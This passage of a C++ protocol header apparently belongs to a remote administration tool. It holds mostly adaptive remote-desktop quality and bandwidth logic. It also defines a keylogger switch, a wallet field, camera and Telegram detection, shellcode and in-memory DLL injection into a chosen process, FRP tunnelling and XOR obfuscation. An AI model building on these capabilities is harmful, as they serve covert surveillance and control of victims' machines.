memset(this, 0, sizeof(Heartbeat));
|
||
}
|
||
Heartbeat(const std::string& s, int ping = 0)
|
||
{
|
||
memset(this, 0, sizeof(Heartbeat));
|
||
Time = GetUnixMs();
|
||
strcpy_s(ActiveWnd, s.c_str());
|
||
Ping = ping;
|
||
}
|
||
int Size() const
|
||
{
|
||
return sizeof(Heartbeat);
|
||
}
|
||
} Heartbeat;
|
||
|
||
typedef struct HeartbeatACK {
|
||
uint64_t Time; // offset 0, size 8
|
||
char Authorized; // offset 8
|
||
char IsTrail; // offset 9
|
||
char Authorization[200]; // offset 10, size 200 → 结束于 210
|
||
// 显式 padding:让随后的 uint32_t ProcessingMs 落在 4 字节对齐边界(212)。
|
||
// 不加这两个字节,编译器会自动补,但同时会把结构体尾部补到 8 字节对齐
|
||
// 导致 sizeof 从 1024 涨到 1032,破坏跨版本兼容(新客户端连旧服务端会
|
||
// 退回 OldSize=32 字节读取,丢失 Authorization)。
|
||
char _ackPad[2]; // offset 210, size 2
|
||
// 服务端处理本心跳的耗时(毫秒,由 server 写入 send-ACK 前一刻)。
|
||
// 客户端用 (now - Time) - ProcessingMs 得到近似纯网络 RTT,喂给反代理检测。
|
||
// 旧服务端 / 早期版本会把 ProcessingMs 留作 0,此时客户端按 0 = 未知,
|
||
// 直接使用 (now - Time),不退化(与本字段加入前的行为完全一致)。
|
||
uint32_t ProcessingMs; // offset 212, size 4 → 结束于 216
|
||
char Reserved[808]; // offset 216, size 808 → 结束于 1024
|
||
} HeartbeatACK;
|
||
// sizeof(HeartbeatACK) == 1024(与本字段加入前完全相等)
|
||
|
||
#define HeartbeatACK_OldSize 32
|
||
|
||
#pragma pack(push, 4)
|
||
// 固定500字节
|
||
typedef struct MasterSettings {
|
||
int ReportInterval; // 上报间隔
|
||
int Is64Bit; // 主控是否64位
|
||
char MasterVersion[12]; // 主控版本
|
||
int DetectSoftware; // 检测软件
|
||
int UsingFRPProxy; // 是否使用FRP代理
|
||
char WalletAddress[472]; // Wallets
|
||
int EnableKBLogger; // Since 2025-11-27
|
||
int EnableLog; // Since 2025-12-17
|
||
char Signature[64]; // Since 2026-02-05
|
||
char FeedbackUrl[80]; // Since 2026-04-08
|
||
char HelpUrl[80]; // Since 2026-04-08
|
||
char RequestAuthUrl[80]; // Since 2026-04-08
|
||
char GetPluginUrl[80]; // Since 2026-04-08
|
||
char Authorized; // Since 2026-05-15
|
||
char IsTrail; // Since 2026-05-15
|
||
uint16_t TransferChunkKb; // Since 2026-10-07 文件传输速度 chunkKb(随登录配置下发)
|
||
uint16_t TransferDurationMs; // Since 2026-10-07 文件传输速度 durationMs(0=不限速)
|
||
char Reserved[102]; // Since 2025-11-27
|
||
} MasterSettings;
|
||
#pragma pack(pop)
|
||
|
||
#define MasterSettingsOldSize 500
|
||
|
||
// 屏幕能力标志
|
||
#define CAP_SCROLL_DETECT 0x0001 // 支持滚动检测优化
|
||
|
||
// 滚动方向常量
|
||
#define SCROLL_DIR_UP 0 // 向上滚动(屏幕内容向下移)
|
||
#define SCROLL_DIR_DOWN 1 // 向下滚动(屏幕内容向上移)
|
||
|
||
// 自适应质量等级
|
||
enum QualityLevel {
|
||
QUALITY_DISABLED = -2, // 关闭质量控制(使用原有算法设置)
|
||
QUALITY_ADAPTIVE = -1, // 自适应模式
|
||
QUALITY_ULTRA = 0, // 极佳 (局域网, DIFF)
|
||
QUALITY_HIGH = 1, // 优秀 (RGB565)
|
||
QUALITY_GOOD = 2, // 良好 (H264, 1080P)
|
||
QUALITY_MEDIUM = 3, // 一般 (H264, 900P)
|
||
QUALITY_LOW = 4, // 较差 (H264, 720P)
|
||
QUALITY_MINIMAL = 5, // 最低 (H264, 540P)
|
||
QUALITY_COUNT = 6,
|
||
};
|
||
|
||
// 屏幕压缩算法常量 (所有平台共用)
|
||
#ifndef ALGORITHM_GRAY
|
||
#define ALGORITHM_GRAY 0 // 灰度压缩
|
||
#define ALGORITHM_DIFF 1 // 差分压缩 (BGRA)
|
||
#define ALGORITHM_H264 2 // H264 硬件编码
|
||
#define ALGORITHM_RGB565 3 // RGB565 压缩
|
||
#endif
|
||
|
||
enum EncodeLevel {
|
||
LEVEL_H264_SOFT = 0,
|
||
LEVEL_H264_HARD = 1,
|
||
LEVEL_AV1_HARD = 2,
|
||
};
|
||
|
||
/* 质量配置(与 QualityLevel 对应)
|
||
- strategy = 0:1080p 限制
|
||
- strategy = 1:原始分辨率
|
||
- strategy = 2 + maxWidth > 0:自定义宽度
|
||
- strategy = 2 + maxWidth = 0:回退到用户保存的 strategy(0 或 1)
|
||
*/
|
||
struct QualityProfile {
|
||
int maxFPS; // 最大帧率
|
||
int maxWidth; // 最大宽度 (0=不限)
|
||
int algorithm; // 压缩算法: 0=GRAY, 1=DIFF, 2=H264, 3=RGB565
|
||
int bitRate; // kbps - H264
|
||
};
|
||
|
||
// ===== 远程桌面调优开关(CMD_SCREEN_TUNING 与 ScreenSettings.TuningFlags 的位定义)=====
|
||
// 远程桌面对话框「远程桌面调优」子菜单里逐项勾选,按客户端分别保存:
|
||
// 主控端把勾选结果随 CMD_SCREEN_TUNING 下发,客户端存进本机配置并回填到
|
||
// ScreenSettings.TuningFlags,下次建立远程桌面时随位图信息一起上报,主控端据此
|
||
// 恢复勾选状态。GDI 去延时、发送节流、自适应判据默认勾选,x264 码率封顶默认不勾选。
|
||
// 取消勾选即把对应位清零,回到加开关前的行为;每一位都能独立开关。
|
||
//
|
||
// 命令负载是 [cmd:1][flags:4 LE][version:1]。版本字节只有新主控端会发:客户端据此
|
||
// 区分「新主控端明确关掉了 bit3」和「老主控端根本不知道 bit3」,后一种情况只让低
|
||
// 三位即时生效、不落盘,避免把客户端保存的四位值覆盖成老主控端的认知。
|
||
#define TUNING_X264_VBV 0x00000001 // x264 软编加 VBV 码率封顶(跨洲际防单帧打爆链路)
|
||
#define TUNING_GDI_NO_SLEEP 0x00000002 // GDI 抓屏去掉分段 BitBlt 之间的 5ms 延时(1080p 省 110ms/帧)
|
||
#define TUNING_PACE_FPS_FLOOR 0x00000004 // 发送节流帧率下限:慢链路下不再把帧率压到 2fps
|
||
// 纯服务端判据(自适应质量是否叠加吞吐判断)。客户端不解释这一位,只原样保存并回报,
|
||
// 这样四个开关能共用同一个持久化/上报字段。
|
||
#define TUNING_ADAPTIVE_DUAL 0x00000008
|
||
|
||
// 新主控端为还没有本机记录的客户端准备的默认值,与旧版全局设置的默认一致。
|
||
// 注意客户端自己并不默认使用这个值:没有本机记录时客户端按 0 运行(加开关前的
|
||
// 行为),等新主控端下发后才会保存;这样被老主控端打开时不会被悄悄打开调优项。
|
||
#define TUNING_DEFAULT (TUNING_GDI_NO_SLEEP | TUNING_PACE_FPS_FLOOR | TUNING_ADAPTIVE_DUAL)
|
||
|
||
// CMD_SCREEN_TUNING 末尾版本字节的当前值。老主控端的负载只有 [cmd][flags] 5 字节。
|
||
#define SCREEN_TUNING_CMD_VERSION 1
|
||
|
||
// 其中会影响编码器参数、必须在变更时重建编码器的位。其余位由抓屏/发送线程每次现读,
|
||
// 改了立刻生效,不需要重建(重建会丢一个 IDR,画面上能看出闪一下)。
|
||
#define TUNING_ENCODER_BITS (TUNING_X264_VBV)
|
||
|
||
// 控制端使用,客户端优先从配置中读取
|
||
inline const QualityProfile& GetQualityProfile(int level) {
|
||
// 预定义质量配置: algorithm: 0=GRAY, 1=DIFF, 2=H264, 3=RGB565
|
||
// 注意: level 必须在 [0, QUALITY_COUNT) 范围内
|
||
static const QualityProfile g_QualityProfiles[QUALITY_COUNT] = {
|
||
{25, 0, 1, 0 }, // Ultra: 25FPS, 原始, DIFF (局域网办公)
|
||
{20, 0, 3, 0 }, // High: 20FPS, 原始, RGB565 (一般办公)
|
||
{20, 1920, 2, 3000}, // Good: 20FPS, 1080P, H264 (跨网/偶尔视频)
|
||
{15, 1600, 2, 2000}, // Medium: 15FPS, 900P, H264
|
||
{12, 1280, 2, 1200}, // Low: 12FPS, 720P, H264
|
||
{8, 1024, 2, 800 }, // Minimal: 8FPS, 540P, H264 (极差网络)
|
||
};
|
||
if (level < 0 || level >= QUALITY_COUNT) {
|
||
static const QualityProfile disabled = {0, 0, -1, 0}; // 关闭模式返回空配置
|
||
return disabled;
|
||
}
|
||
return g_QualityProfiles[level];
|
||
}
|
||
|
||
// 屏幕预览质量配置(与 QualityLevel 共用 RTT 阈值表,但参数维度不同:缩略图只关心
|
||
// 编码尺寸 + JPEG 质量,没有 FPS / 算法等运动视频参数)
|
||
struct PreviewProfile {
|
||
int maxWidth; // 期望编码宽度(客户端会等比缩放,禁止放大)
|
||
int jpegQuality; // JPEG 质量 1..100
|
||
};
|
||
|
||
inline const PreviewProfile& GetScreenPreviewProfile(int level) {
|
||
static const PreviewProfile g_PreviewProfiles[QUALITY_COUNT] = {
|
||
{ 1024, 85 }, // Ultra: 超清 (LAN/同省,4K 源屏可进一步放大到 1280)
|
||
{ 800, 80 }, // High: 高清 (跨省直连)
|
||
{ 640, 75 }, // Good: 标清 (同国/邻国)
|
||
{ 480, 70 }, // Medium: 常规 (大陆间)
|
||
{ 384, 60 }, // Low: 低清 (跨洲)
|
||
{ 256, 50 }, // Minimal: 最低 (极差网络/卫星链路)
|
||
};
|
||
if (level < 0 || level >= QUALITY_COUNT) {
|
||
static const PreviewProfile fallback = { 480, 70 };
|
||
return fallback;
|
||
}
|
||
return g_PreviewProfiles[level];
|
||
}
|
||
|
||
// RTT 阈值表(毫秒,上界):rtt 小于阈值 i 就落在等级 i。
|
||
// 单独提出来是因为迟滞判据要按当前档位回查阈值,不能再藏在 GetTargetQualityLevel 里。
|
||
inline const int* GetRttThresholds(int usingFRP) {
|
||
// 根据模式应用不同 RTT阈值 (毫秒)
|
||
static const int g_RttThresholds[2][QUALITY_COUNT] = {
|
||
// 直连: ULTRA, HIGH, GOOD, MEDIUM, LOW, MINIMAL
|
||
/* DIRECT */ { 30, 80, 150, 250, 400, INT_MAX },
|
||
// FRP:
|
||
/* PROXY */ { 60, 160, 300, 500, 800, INT_MAX },
|
||
};
|
||
return g_RttThresholds[(usingFRP != 0) ? 1 : 0];
|
||
}
|
||
|
||
// 根据RTT获取目标质量等级 (控制端使用)
|
||
inline int GetTargetQualityLevel(int rtt, int usingFRP) {
|
||
const int* thr = GetRttThresholds(usingFRP);
|
||
for (int i = 0; i < QUALITY_COUNT; i++) {
|
||
if (rtt < thr[i])
|
||
return i;
|
||
}
|
||
return QUALITY_MINIMAL;
|
||
}
|
||
|
||
// 带迟滞的 RTT 判据:把"升档"和"降档"的阈值错开,落在死区里就保持当前档位。
|
||
//
|
||
// 为什么需要:RTT 是每秒采样一次的抖动量,±5ms 很常见。硬阈值下 rtt 在 78↔82
|
||
// 之间晃就会让目标档在 1↔2 之间反复跳,而 1↔2 正好是"原始分辨率 RGB565" ↔
|
||
// "1920 H264" 的分界 —— 每跳一次都是一次编码器重建 + 整屏重传,用户看到的是
|
||
// 周期性花屏/卡顿。加上死区后,只有 RTT 明显变好或明显变坏才会动档位。
|
||
//
|
||
// 死区宽度取 ±15%:
|
||
// 想升档到 raw → rtt 必须低于【目标档】阈值(raw) 的 85%
|
||
// 想降档 → rtt 必须高于【当前档】阈值 的 115%
|
||
// 升档用目标档阈值是必须的:如果拿当前档阈值去比,由于阈值表单调递增,
|
||
// "raw < currentLevel" 本身就意味着 rtt 已经低于当前档阈值一大截,
|
||
// 85% 那条恒成立,迟滞等于没加(这个坑是写完算例才发现的)。
|
||
//
|
||
// currentLevel 不合法时退化成无迟滞的 GetTargetQualityLevel。
|
||
inline int GetTargetQualityLevelHysteresis(int rtt, int usingFRP, int currentLevel)
|
||
{
|
||
if (rtt <= 0) return currentLevel;
|
||
if (currentLevel < 0 || currentLevel >= QUALITY_COUNT)
|
||
return GetTargetQualityLevel(rtt, usingFRP);
|
||
|
||
const int* thr = GetRttThresholds(usingFRP);
|
||
const int raw = GetTargetQualityLevel(rtt, usingFRP);
|
||
|
||
// 升档(数字变小):必须比目标档的边界再好 15%。用 long long 防 INT_MAX 溢出。
|
||
if (raw < currentLevel) {
|
||
return ((long long)rtt * 100 < (long long)thr[raw] * 85) ? raw : currentLevel;
|
||
}
|
||
// 降档(数字变大):必须比当前档的边界再差 15%。
|
||
if (raw > currentLevel) {
|
||
return ((long long)rtt * 100 > (long long)thr[currentLevel] * 115) ? raw : currentLevel;
|
||
}
|
||
return currentLevel;
|
||
}
|
||
|
||
// 吞吐判据:根据实测帧率与屏幕字节速率,判断链路是否已经饱和(控制端使用)。
|
||
//
|
||
// 返回该判据要求的最低质量等级(数字越大越差);链路没在拖后腿时返回 -1(无约束)。
|
||
// 由调用方与 RTT 判据取 max() 合并 —— 两个约束方向相反,任一都能单独压低档位:
|
||
// RTT = 延迟预算 → 质量上限(延迟大就别给高清)
|
||
// 吞吐 = 带宽预算 → 质量下限(带宽小就装不下高码率)
|
||
// 相加/加权平均是错的:两者不互补,取平均会让"RTT 好"掩盖"带宽窄",反之亦然。
|
||
//
|
||
// 关键点:这里判断的是"链路是否拒绝交付要求的东西",不是"传了多少字节"。
|
||
// 后者是个陷阱 —— 画面静止时字节速率接近零,哪怕链路是 1Gbps 也会被判成"带宽差"。
|
||
// 所以必须两个条件同时成立:
|
||
// ① 帧率明显低于基线(基线由调用方实测学习,见 CScreenSpyDlg::EvaluateQuality)
|
||
// ② 每帧字节数明显超过该档标称的每帧字节数 → 一帧要塞很久,帧又大又慢
|
||
// 只满足 ① 是画面本来就没变化(客户端 memcmp 跳帧),不构成带宽问题。
|
||
//
|
||
// ② 比的是"每帧字节数"而不是"每秒总字节数",这一点很关键:总字节数会随链路容量
|
||
// 一起变小,容量远低于标称码率时(比如 900kbps 跑 3000kbps 的档)永远达不到
|
||
// "半满",反而漏判。每帧字节数只反映"链路交付一帧要多久",与容量无关,
|
||
// 容量略低和远低两种情形都能覆盖。
|
||
//
|
||
// nominalKbps == 0 表示该档没有码率控制(Ultra/High 走 DIFF/RGB565 原始像素),
|
||
// 此时没有可比的标称码率:帧率缺口本身就是唯一证据,直接按实测吞吐反查目标档。
|
||
inline int GetTargetQualityLevelByLoad(int fps, int baselineFps, int kbps, int nominalKbps)
|
||
{
|
||
// kbps <= 0 一并挡掉:没有实测吞吐就没法反查目标档,
|
||
// 否则 nominalKbps == 0 的档位会走到反查循环、误返回最低档。
|
||
if (baselineFps <= 0 || fps <= 0 || kbps <= 0) return -1;
|
||
|
||
// 帧率缺口:低于基线的 60% 才算,避免正常抖动误触发
|
||
if (fps * 100 >= baselineFps * 60) return -1;
|
||
|
||
if (nominalKbps > 0) {
|
||
// 实际每帧字节 / 标称每帧字节 = (kbps / fps) / (nominalKbps / baselineFps)
|
||
// = kbps * baselineFps / (nominalKbps * fps)
|
||
// 不到 2 倍就说明帧本身不大,链路没在拖后腿(只是画面变化少),不构成带宽问题。
|
||
if ((long long)kbps * baselineFps <= 2LL * nominalKbps * fps) return -1;
|
||
}
|
||
|
||
// 按实测吞吐(饱和时它 ≈ 链路容量)反查能装下的最高档位,允许跨级直达。
|
||
// 逐级降要经历多次分辨率重建,每次都是一次编码器重建 + 可见卡顿;
|
||
// 一次跳到对的位置只重建一次。0.85 是给码率波动留的余量。
|
||
for (int level = QUALITY_GOOD; level < QUALITY_COUNT; level++) {
|
||
const int need = GetQualityProfile(level).bitRate;
|
||
if (need > 0 && need <= kbps * 85 / 100) return level;
|
||
}
|
||
return QUALITY_MINIMAL;
|
||
}
|
||
|
||
// 慢流量的吞吐采样:把「最近 seconds 秒累计的帧数/字节数」换算成吞吐判据要的三个数。
|
||
//
|
||
// 为什么需要窗口:大帧把链路堵住时,一帧要好几秒才发得完,而控制端只在整帧收全后
|
||
// 才计数(ScreenSpyDlg.cpp 的 m_ulFramesThisSecond)—— 这类现场每秒的帧数都是 0,
|
||
// 1 秒窗口的样本为空,判据只能弃权;偶尔收到一帧的那一秒又被下一 0 帧秒清零,
|
||
// 连续 3 次永远凑不齐,档位一次也降不下来。用窗口均值才能表达 0.2fps 这种速率。
|
||
//
|
||
// 帧率与基线同时放大 100 倍:判据里只用两者的比值(帧率缺口、每帧字节数),
|
||
// 两边同乘不改变结论,但避开了整数帧率把 0.3fps 截成 0 的问题。
|
||
// kbps 用 1024 进制,与调用方 m_dScreenKBps * 8 的口径保持一致。
|
||
inline void GetWindowedLoadSample(unsigned long long frames,
|
||
unsigned long long bytes,
|
||
int seconds,
|
||
int baselineFps,
|
||
int& fps, int& baseline, int& kbps)
|
||
{
|
||
if (seconds <= 0) {
|
||
fps = 0;
|
||
baseline = 0;
|
||
kbps = 0;
|
||
return;
|
||
}
|
||
fps = (int)(frames * 100 / (unsigned long long)seconds);
|
||
baseline = baselineFps * 100;
|
||
kbps = (int)(bytes * 8 / (1024ULL * (unsigned long long)seconds));
|
||
}
|
||
|
||
// 慢流量窗口能不能作为「链路拥塞」的证据。
|
||
//
|
||
// 窗口均值本身分不清「链路交付不动」和「内容本来就是一阵一阵的」,直接喂给
|
||
// GetTargetQualityLevelByLoad 会误降档。以下三条必须同时成立:
|
||
//
|
||
// ① 窗口里至少 3 帧,且分布在至少 3 个不同的秒里:一两个大帧只是内容闪了一下
|
||
// (滚动一下、开个窗口)。「3 个不同的秒」专门挡「3 帧挤在同一秒」的短促突发
|
||
// —— 那种现场窗口均值同样是低帧率,但链路一秒就交完了,不是交付不动。
|
||
// 真拥塞时一帧要好几秒,帧必然散落在大半窗口里;代价是 0.3fps 这种极慢流
|
||
// 偶尔凑不满 3 个秒(两帧落在同一秒),这一拍弃权,下一拍窗口滑动后会再判。
|
||
// ② 最后一帧就在 4 秒内:滚动/播放停下之后画面静止,客户端 memcmp 跳帧,
|
||
// 窗口里剩下的是停顿前那段流量 —— 均值同样是「低帧率 + 高吞吐」,但这说明
|
||
// 内容停了,不是链路慢。真拥塞时帧在持续到达(一帧几秒),不会触发这一条。
|
||
// ③ 没有任何一秒交付过接近满速的帧:滚动 2 秒发 20 帧然后停住,10 秒窗口把
|
||
// 5fps 摊成 1fps;但这种现场里总有一秒交付过 ≥0.6 基线的帧 —— 链路明明
|
||
// 能交付满速,就不是带宽问题(这与判据「每帧字节数」的用意一致)。
|
||
// 「某一秒侥幸收全两帧」不会因此让判据沉默:0.6 基线的门槛远高于 1~2 帧。
|
||
//
|
||
// minFrameBytes 是唯一的绝对量,用于排除「画面几乎静止、只有几 KB 的时钟/进度条
|
||
// 补丁」这类小帧;只该对没有码率控制的档位(DIFF/RGB565)设它 —— 有码率控制的
|
||
// 档位由判据自己的「每帧是否明显超过标称」把关,再加一道绝对下限只会误伤
|
||
// 小屏/慢链路(1024×768 的 30KB 增量帧在 300kbps 上确实堵,但不该被当成小补丁)。
|
||
//
|
||
// 已知覆盖不到的一档:低于 0.3fps 的链路(一帧要 3 秒以上,1.5~2Mbps 上的
|
||
// 1~2MB DIFF 帧就是这种)窗口里最多两帧,①②③ 凑不齐,这里仍然弃权 ——
|
||
// 两帧撑不起「持续交付不动」的结论(两次孤立点击也是两帧)。这类现场靠 RTT
|
||
// 判据、±2 限幅和升档失败封顶兜底,不会失控,只是降档可能要来得晚一些。
|
||
//
|
||
// 仍然分不清的一种现场:3 帧摊在 3 秒里然后停住。从控制端能看到的证据(低帧率、
|
||
// 大帧、内容还在来)看,它和「链路真的交付不动」完全一样,只能靠降档后的效果来
|
||
// 分辨 —— 所以调用方要用本机瓶颈探测 + 升档失败封顶兜底,限幅(最多比 RTT 判据
|
||
// 再低 2 档)也限制了误判的代价。
|
||
//
|
||
// 返回 TRUE 表示可以拿 fps/baseline/kbps 去调 GetTargetQualityLevelByLoad。
|
||
inline bool GetCongestedLoadSample(unsigned long long framesInWindow,
|
||
unsigned long long bytesInWindow,
|
||
int activeSeconds,
|
||
unsigned int busiestSecondFrames,
|
||
int seconds,
|
||
int lastFrameAgeSec,
|
||
int baselineFps,
|
||
int minFrameBytes,
|
||
int& fps, int& baseline, int& kbps)
|
||
{
|
||
fps = 0;
|
||
baseline = 0;
|
||
kbps = 0;
|
||
if (seconds <= 0 || baselineFps <= 0) return false;
|
||
if (framesInWindow < 3 || activeSeconds < 3) return false; // ①
|
||
if (lastFrameAgeSec < 0 || lastFrameAgeSec > 4) return false; // ②
|
||
if ((long long)busiestSecondFrames * 5 >= (long long)baselineFps * 3) return false; // ③
|
||
if (minFrameBytes > 0 && bytesInWindow / framesInWindow < (unsigned long long)minFrameBytes)
|
||
return false;
|
||
|
||
GetWindowedLoadSample(framesInWindow, bytesInWindow, seconds, baselineFps, fps, baseline, kbps);
|
||
return true;
|
||
}
|
||
|
||
// 1 秒样本的可用性判定(窗口不可用时的退路)。
|
||
//
|
||
// 必须和窗口样本过同一道小帧下限:Ultra/High(bitRate == 0,DIFF/RGB565)上画面
|
||
// 静止时,客户端每秒只发一两帧几 KB 的时钟/光标补丁 —— 帧率低、吞吐低,判据会
|
||
// 反查出最低档,把 LAN 上的画质一路压到 Minimal。窗口路径用 minFrameBytes 挡掉的
|
||
// 正是它;窗口被拒后恰好退到这条路,1 秒样本不过门槛就等于白挡。
|
||
//
|
||
// 帧率/基线同样放大 100 倍,与 GetWindowedLoadSample 保持同一比例。
|
||
//
|
||
// elapsedMs 是这批计数实际覆盖的时间:WM_TIMER 会被 UI 线程阻塞推迟,一格可能
|
||
// 代表两秒多的流量,按 1000ms 算会把速率高估。
|
||
inline bool GetSecondLoadSample(unsigned long long frames,
|
||
unsigned long long bytes,
|
||
unsigned int elapsedMs,
|
||
int baselineFps,
|
||
int minFrameBytes,
|
||
int& fps, int& baseline, int& kbps)
|
||
{
|
||
fps = 0;
|
||
baseline = 0;
|
||
kbps = 0;
|
||
// frames 上限只是防下面乘 100 * 1000 溢出;真实会话每秒最多几十帧。
|
||
if (frames == 0 || frames > 10000ULL || baselineFps <= 0) return false;
|
||
if (bytes == 0 || elapsedMs == 0) return false; // 没有实测吞吐/时长,判据没法算
|
||
if (minFrameBytes > 0 && bytes / frames < (unsigned long long)minFrameBytes) return false;
|
||
fps = (int)(frames * 100 * 1000 / elapsedMs);
|
||
baseline = baselineFps * 100;
|
||
kbps = (int)(bytes * 8 * 1000 / (1024ULL * elapsedMs));
|
||
return true;
|
||
}
|
||
|
||
// 降档后的「本机瓶颈」判定:帧率仍低于基线,但按同一套判据管道并没有满
|
||
// (帧不大却发不出来 → 瓶颈在抓屏/编码,而不在链路)。
|
||
//
|
||
// 这两个条件在画面静止时也会同时成立 —— 客户端 memcmp 跳帧,窗口均值就是
|
||
// 「帧率低 + 吞吐小」,notSaturated 必然为真。所以还要一道「最近一秒真的在发帧」
|
||
// 的门槛:一次静止就永久停用吞吐判据,代价比漏判一次本机瓶颈大得多。
|
||
inline bool IsLocalBottleneck(int fps, int baseline, int kbps, int nominalKbps,
|
||
unsigned int lastSecondFrames)
|
||
{
|
||
if (lastSecondFrames < 2) return false;
|
||
if ((long long)fps * 5 >= (long long)baseline * 3) return false;
|
||
return GetTargetQualityLevelByLoad(fps, baseline, kbps, nominalKbps) < 0;
|
||
}
|
||
|
||
typedef struct ScreenSettings {
|
||
int MaxFPS; // 偏移 0, 最大帧率
|
||
int CompressThread; // 偏移 4, 压缩线程数
|
||
int ScreenStrategy; // 偏移 8, 屏幕策略
|
||
int ScreenWidth; // 偏移 12, 屏幕宽度
|
||
int ScreenHeight; // 偏移 16, 屏幕高度
|
||
int FullScreen; // 偏移 20, 全屏模式
|
||
int RemoteCursor; // 偏移 24, 使用远程光标
|
||
int ScrollDetectInterval; // 偏移 28, 滚动检测间隔(0=禁用, 1=每帧, 2=每2帧, ...)
|
||
int QualityLevel; // 偏移 32, 质量等级 (-1=自适应, 0=Ultra, 1=High, ..., 4=Minimal)
|
||
int CpuSpeedup; // 偏移 36, 指令集加速(0: 无, 1: SSE2)
|
||
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
||
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
||
int EncodeLevel; // 偏移 48, 编码等级
|
||
int CustomCursor; // 偏移 52, 自定义光标
|
||
int TuningFlags; // 偏移 56, 远程桌面调优开关位(TUNING_*),客户端持久化并上报
|
||
char Reserved[36]; // 偏移 60, 保留字段(新能力参数从此处扩展)
|
||
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
||
} ScreenSettings; // 总大小 100 字节
|
||
|
||
// ScreenSettings.Capabilities 位定义:客户端上报的能力。
|
||
// 没有这一位的是老客户端,或者还没被新主控端下发过调优开关的客户端;两种情况
|
||
// TuningFlags 都不可信(可能是 0,也可能残留老主控端给的低三位)。
|
||
#define SCREEN_CAP_TUNING_FLAGS 0x00000001 // TuningFlags 四位均由新主控端写入,可信
|
||
|
||
static_assert(sizeof(ScreenSettings) == 100, "ScreenSettings 是固定的 100 字节线上结构,不能变大变小");
|
||
|
||
// 音频控制常量
|
||
#define CYCLEAUDIO_DISABLE 0 // 停止音频
|
||
#define CYCLEAUDIO_ENABLE 1 // 启动音频
|
||
|
||
// 音频控制命令结构 (服务端 → 客户端)
|
||
#pragma pack(push, 1)
|
||
struct AudioCtrlCmd {
|
||
BYTE cmd; // CMD_AUDIO_CTRL
|
||
BYTE enable; // 0=关闭, 1=开启
|
||
BYTE persist; // 1=保存到客户端配置
|
||
};
|
||
|
||
// 音频压缩类型
|
||
enum AudioCompression {
|
||
AUDIO_COMPRESS_NONE = 0, // 无压缩 (PCM)
|
||
AUDIO_COMPRESS_OPUS = 1, // Opus 压缩
|
||
};
|
||
|
||
// 音频格式信息 (首次启用时随数据发送)
|
||
struct AudioFormat {
|
||
WORD channels; // 声道数: 1=单声道, 2=立体声
|
||
DWORD sampleRate; // 采样率: 44100 或 48000
|
||
WORD bitsPerSample; // 位深度: 16
|
||
WORD blockAlign; // 块对齐: channels * bitsPerSample / 8
|
||
BYTE compression; // 压缩类型: AudioCompression
|
||
BYTE reserved; // 保留字节 (对齐)
|
||
};
|
||
#pragma pack(pop)
|
||
|
||
#pragma pack(push, 1)
|
||
// 100字节: 运行类型 + 大小 + 调用方式 + DLL名称
|
||
typedef struct DllExecuteInfo {
|
||
int RunType; // 运行类型
|
||
int Size; // DLL 大小
|
||
int CallType; // 调用方式
|
||
char Name[32]; // DLL 名称
|
||
char Md5[33]; // DLL MD5
|
||
int Pid; // 被注入进程ID
|
||
char Is32Bit; // 是否32位DLL
|
||
unsigned short InfoSize; // 结构体大小
|
||
ScheduleParams Schedule; // 执行计划
|
||
} DllExecuteInfo;
|
||
|
||
typedef struct DllExecuteInfoNew {
|
||
int RunType; // 运行类型
|
||
int Size; // DLL 大小
|
||
int CallType; // 调用方式
|
||
char Name[32]; // DLL 名称
|
||
char Md5[33]; // DLL MD5
|
||
int Pid; // 被注入进程ID
|
||
char Is32Bit; // 是否32位DLL
|
||
unsigned short InfoSize; // 结构体大小
|
||
ScheduleParams Schedule; // 执行计划
|
||
char Parameters[400];
|
||
} DllExecuteInfoNew;
|
||
inline void SetParameters(DllExecuteInfoNew *p, char *param, int size)
|
||
{
|
||
memcpy(p->Parameters, param, size < 400 ? size : 400);
|
||
}
|
||
|
||
typedef struct FrpcParam {
|
||
char privilegeKey[36];
|
||
uint64_t timestamp;
|
||
char serverAddr[64];
|
||
int serverPort;
|
||
int localPort;
|
||
int remotePort;
|
||
FrpcParam(const char* key, uint64_t time, const char* addr, int serverPort, int localPort, int remotePort)
|
||
{
|
||
strcpy_s(privilegeKey, key);
|
||
strcpy_s(serverAddr, addr);
|
||
this->timestamp = time;
|
||
this->serverPort = serverPort;
|
||
this->localPort = localPort;
|
||
this->remotePort = remotePort;
|
||
}
|
||
} FrpcParam;
|
||
#pragma pack(pop)
|
||
|
||
enum {
|
||
SOFTWARE_CAMERA = 0,
|
||
SOFTWARE_TELEGRAM,
|
||
|
||
SHELLCODE = 0,
|
||
MEMORYDLL = 1,
|
||
INJECT_SC = 2,
|
||
RUNTYPE_MAX = 3,
|
||
|
||
CALLTYPE_DEFAULT = 0, // 默认调用方式: 只是加载DLL,需要在DLL加载时执行代码
|
||
CALLTYPE_IOCPTHREAD = 1, // 调用run函数启动线程: DWORD (__stdcall *run)(void* lParam)
|
||
CALLTYPE_FRPC_CALL = 2, // 调用FRPC
|
||
CALLTYPE_FRPC_STDCALL = 3, // 调用FRPC(标准方式,使用开源FRP项目)
|
||
CALLTYPE_MAX = 4,
|
||
};
|
||
|
||
typedef DWORD(__stdcall* PidCallback)(void);
|
||
|
||
inline const char* EVENTID(PidCallback pid)
|
||
{
|
||
static char buf[64] = { 0 };
|
||
if (buf[0] == 0) {
|
||
sprintf_s(buf, "SERVICE [%d] FINISH RUNNING", pid());
|
||
}
|
||
return buf;
|
||
}
|
||
|
||
#define EVENT_FINISHED EVENTID(GetCurrentProcessId)
|
||
|
||
inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys)
|
||
{
|
||
for (char key : keys) {
|
||
for (int i = 0; i < len; ++i) {
|
||
data[i] ^= key;
|
||
}
|
||
}
|
||
}
|
||
|
||
inline std::tm ToPekingTime(const time_t* t)
|
||
{
|
||
// 获取当前时间(如果传入的指针为空)
|
||
std::time_t now = (t == nullptr) ? std::time(nullptr) : *t;
|
||
|
||
// 线程安全地转换为 UTC 时间
|
||
std::tm utc_time{};
|
||
|
||
#ifdef _WIN32 // Windows 使用 gmtime_s
|
||
if (gmtime_s(&utc_time, &now) != 0) {
|
||
return { 0, 0, 0, 1, 0, 100 }; // 失败时返回 2000-01-01 00:00:00
|
||
}
|
||
#else // Linux / macOS 使用 gmtime_r
|
||
if (gmtime_r(&now, &utc_time) == nullptr) {
|
||
return { 0, 0, 0, 1, 0, 100 };
|
||
}
|
||
#endif
|
||
|
||
